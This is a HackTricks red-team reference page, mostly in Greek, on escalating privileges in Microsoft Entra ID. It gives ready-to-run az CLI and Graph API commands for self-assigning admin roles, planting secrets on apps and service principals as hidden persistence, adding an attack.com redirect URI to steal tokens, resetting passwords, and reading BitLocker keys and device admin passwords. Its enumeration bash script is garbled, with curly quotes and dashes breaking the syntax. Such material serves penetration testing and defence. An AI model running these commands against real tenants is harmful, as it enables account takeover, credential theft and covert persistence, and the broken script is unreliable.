Az - EntraID Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Note

Σημειώστε ότι όχι όλες οι λεπτομερείς άδειες που έχουν οι ενσωματωμένοι ρόλοι στο Entra ID είναι επιλέξιμες για χρήση σε προσαρμοσμένους ρόλους.

Ρόλοι

Role: Privileged Role Administrator

Αυτός ο ρόλος περιέχει τις απαραίτητες λεπτομερείς άδειες για να είναι δυνατή η ανάθεση ρόλων σε principals και η παροχή περισσότερων δικαιωμάτων σε ρόλους. Και οι δύο ενέργειες μπορούν να καταχραστούν για να escalate privileges.

  • Ανάθεση ρόλου σε χρήστη:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Προσθέστε περισσότερα permissions σε ένα role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Εφαρμογές

microsoft.directory/applications/credentials/update

Αυτό επιτρέπει σε έναν επιτιθέμενο να add credentials (passwords or certificates) σε υπάρχουσες εφαρμογές. Εάν η εφαρμογή έχει privileged permissions, ο επιτιθέμενος μπορεί να authenticate ως εκείνη την εφαρμογή και να αποκτήσει privileges.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Αυτό επιτρέπει τις ίδιες ενέργειες με applications/credentials/update, αλλά αφορά αποκλειστικά εφαρμογές ενός μόνο καταλόγου.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Προσθέτοντας τον εαυτό τους ως owner, ένας επιτιθέμενος μπορεί να χειριστεί την εφαρμογή, συμπεριλαμβανομένων των credentials και των permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Ένας επιτιθέμενος μπορεί να προσθέσει ένα redirect URI σε applications που χρησιμοποιούνται από users του tenant και στη συνέχεια να μοιραστεί μαζί τους login URLs που χρησιμοποιούν το νέο redirect URL προκειμένου να κλέψει τα tokens τους. Σημειώστε ότι αν ο user ήταν ήδη logged in στην application, η authentication θα γίνει αυτόματα χωρίς ο user να χρειάζεται να αποδεχθεί οτιδήποτε.

Σημειώστε επίσης ότι είναι δυνατό να αλλάξουν τα permissions που ζητά η application για να αποκτήσει περισσότερα permissions, αλλά σε αυτή την περίπτωση ο user θα χρειαστεί να αποδεχθεί ξανά το prompt που ζητάει όλες τις permissions.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Εφαρμογές Privilege Escalation

Όπως εξηγείται στο this post ήταν πολύ συνηθισμένο να βρίσκονται προεπιλεγμένες εφαρμογές που έχουν API permissions τύπου Application εκχωρημένα σε αυτές. Μία API Permission (όπως αναφέρεται στην κονσόλα Entra ID) τύπου Application σημαίνει ότι η εφαρμογή μπορεί να έχει πρόσβαση στο API και να εκτελεί ενέργειες χωρίς context χρήστη (χωρίς ένας χρήστης να κάνει login στην εφαρμογή), και χωρίς να χρειάζεται ρόλους Entra ID για να της το επιτρέψουν. Επομένως, είναι πολύ συνηθισμένο να βρίσκει κανείς εφαρμογές με υψηλά προνόμια σε κάθε Entra ID tenant.

Στη συνέχεια, αν ένας attacker έχει οποιοδήποτε permission/role που του επιτρέπει να update the credentials (secret o certificate) of the application, ο attacker μπορεί να δημιουργήσει ένα νέο credential και μετά να το χρησιμοποιήσει για να authenticate as the application, αποκτώντας όλα τα permissions που έχει η εφαρμογή.

Σημειώστε ότι το αναφερόμενο blog μοιράζεται μερικά API permissions κοινών Microsoft default applications, ωστόσο λίγο μετά από αυτό το report η Microsoft διόρθωσε αυτό το ζήτημα και τώρα δεν είναι δυνατό να κάνεις login ως Microsoft applications πια. Παρ’ όλα αυτά, εξακολουθεί να είναι πιθανό να βρει κανείς custom applications με υψηλά προνόμια που θα μπορούσαν να καταχραστούν.

How to enumerate the API permissions of an application:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Βρείτε όλα τα API permissions των εφαρμογών και επισημάνετε τις Microsoft-owned APIs ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Αυτό επιτρέπει σε έναν επιτιθέμενο να προσθέσει credentials σε υπάρχοντες service principals. Εάν ο service principal έχει αυξημένα προνόμια, ο επιτιθέμενος μπορεί να αναλάβει αυτά τα προνόμια.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

Ο νέος κωδικός που δημιουργείται δεν θα εμφανιστεί στην web console, οπότε αυτό μπορεί να είναι ένας stealth τρόπος για να διατηρήσετε persistence σε ένα service principal.
Από το API μπορούν να βρεθούν με: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Εάν λάβετε το σφάλμα "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." είναι επειδή δεν είναι δυνατή η τροποποίηση της ιδιότητας passwordCredentials του SP και πρώτα πρέπει να το ξεκλειδώσετε. Για αυτό χρειάζεστε μια άδεια (microsoft.directory/applications/allProperties/update) που σας επιτρέπει να εκτελέσετε:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Αυτό επιτρέπει σε έναν attacker να προσθέσει credentials σε υπάρχοντες service principals. Αν ο service principal έχει αυξημένα προνόμια, ο attacker μπορεί να αναλάβει αυτά τα προνόμια.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Παρόμοια με τις εφαρμογές, αυτή η άδεια επιτρέπει την προσθήκη περισσότερων owners σε ένα service principal. Η ιδιοκτησία ενός service principal επιτρέπει τον έλεγχο των διαπιστευτηρίων και των δικαιωμάτων του.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Μετά την προσθήκη ενός νέου ιδιοκτήτη, προσπάθησα να τον αφαιρέσω αλλά το API απάντησε ότι η μέθοδος DELETE δεν υποστηρίζεται, ακόμα κι αν είναι η μέθοδος που πρέπει να χρησιμοποιήσετε για να διαγράψετε τον ιδιοκτήτη. Επομένως δεν μπορείτε να αφαιρείτε ιδιοκτήτες σήμερα.

microsoft.directory/servicePrincipals/disable και enable

Αυτές οι άδειες επιτρέπουν την απενεργοποίηση και ενεργοποίηση των service principals. Ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει αυτήν την άδεια για να ενεργοποιήσει ένα service principal στο οποίο θα μπορούσε με κάποιον τρόπο να αποκτήσει πρόσβαση, προκειμένου να κλιμακώσει τα προνόμια.

Σημειώστε ότι για αυτήν την τεχνική ο επιτιθέμενος θα χρειαστεί περισσότερες άδειες για να αναλάβει τον ενεργοποιημένο service principal.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Αυτά τα δικαιώματα επιτρέπουν τη δημιουργία και την ανάκτηση διαπιστευτηρίων για single sign-on, κάτι που μπορεί να δώσει πρόσβαση σε εφαρμογές τρίτων.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Ομάδες

microsoft.directory/groups/allProperties/update

Αυτό το δικαίωμα επιτρέπει την προσθήκη χρηστών σε privileged groups, οδηγώντας σε privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Σημείωση: Αυτό το δικαίωμα εξαιρεί τις role-assignable groups του Entra ID.

microsoft.directory/groups/owners/update

Αυτό το δικαίωμα επιτρέπει να γίνει κάποιος owner ομάδων. Ένας owner ομάδας μπορεί να ελέγχει τη σύνθεση της ομάδας και τις ρυθμίσεις, ενδεχομένως οδηγώντας σε κλιμάκωση προνομίων για την ομάδα.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Σημείωση: Αυτή η άδεια εξαιρεί τις Entra ID role-assignable groups.

microsoft.directory/groups/members/update

Αυτή η άδεια επιτρέπει την προσθήκη μελών σε μια ομάδα. Ένας επιτιθέμενος θα μπορούσε να προσθέσει τον εαυτό του ή κακόβουλους λογαριασμούς σε προνομιακές ομάδες, παρέχοντας αυξημένη πρόσβαση.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Αυτή η άδεια επιτρέπει την ενημέρωση του κανόνα συμμετοχής σε μια δυναμική ομάδα. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τους δυναμικούς κανόνες ώστε να συμπεριλάβει τον εαυτό του σε προνομιούχες ομάδες χωρίς ρητή προσθήκη.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Σημείωση: Αυτή η άδεια εξαιρεί τα Entra ID role-assignable groups.

Dynamic Groups Privesc

Ενδέχεται να είναι δυνατό για χρήστες να escalate privileges τροποποιώντας τις δικές τους ιδιότητες ώστε να προστεθούν ως μέλη των dynamic groups. Για περισσότερες πληροφορίες δείτε:

Az - Dynamic Groups Privesc

Χρήστες

microsoft.directory/users/password/update

Αυτή η άδεια επιτρέπει την επαναφορά κωδικού σε χρήστες χωρίς δικαιώματα διαχειριστή, επιτρέποντας σε έναν πιθανό επιτιθέμενο να escalate privileges σε άλλους χρήστες. Αυτή η άδεια δεν μπορεί να ανατεθεί σε προσαρμοσμένους ρόλους.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Αυτή η άδεια επιτρέπει την τροποποίηση των ιδιοτήτων του χρήστη. Είναι συνηθισμένο να υπάρχουν δυναμικές ομάδες που προσθέτουν χρήστες με βάση τις τιμές ιδιοτήτων, επομένως αυτή η άδεια θα μπορούσε να επιτρέψει σε έναν χρήστη να ορίσει την απαιτούμενη τιμή ιδιότητας ώστε να γίνει μέλος μιας συγκεκριμένης δυναμικής ομάδας και να αυξήσει τα προνόμιά του.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Λανθασμένα διαμορφωμένες conditional access policies που απαιτούν MFA μπορούν να παρακαμφθούν, έλεγξε:

Az - Conditional Access Policies & MFA Bypass

Συσκευές

microsoft.directory/devices/registeredOwners/update

Αυτό το δικαίωμα επιτρέπει σε attackers να αναθέσουν στον εαυτό τους την ιδιότητα ιδιοκτήτη συσκευών, ώστε να αποκτήσουν έλεγχο ή πρόσβαση σε ρυθμίσεις και δεδομένα ειδικά για τη συσκευή.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Αυτή η άδεια επιτρέπει σε attackers να συσχετίσουν τον λογαριασμό τους με συσκευές για να αποκτήσουν πρόσβαση ή να παρακάμψουν πολιτικές ασφαλείας.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Αυτή η άδεια επιτρέπει σε επιτιθέμενους να διαβάζουν τις ιδιότητες των αντιγραμμένων credentials του τοπικού λογαριασμού διαχειριστή για συσκευές ενωμένες με Microsoft Entra, συμπεριλαμβανομένου του password

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Αυτό το δικαίωμα επιτρέπει την πρόσβαση στα κλειδιά BitLocker, κάτι που θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να αποκρυπτογραφήσει δίσκους, συμβιβάζοντας την εμπιστευτικότητα των δεδομένων.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Άλλα Ενδιαφέροντα Δικαιώματα (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks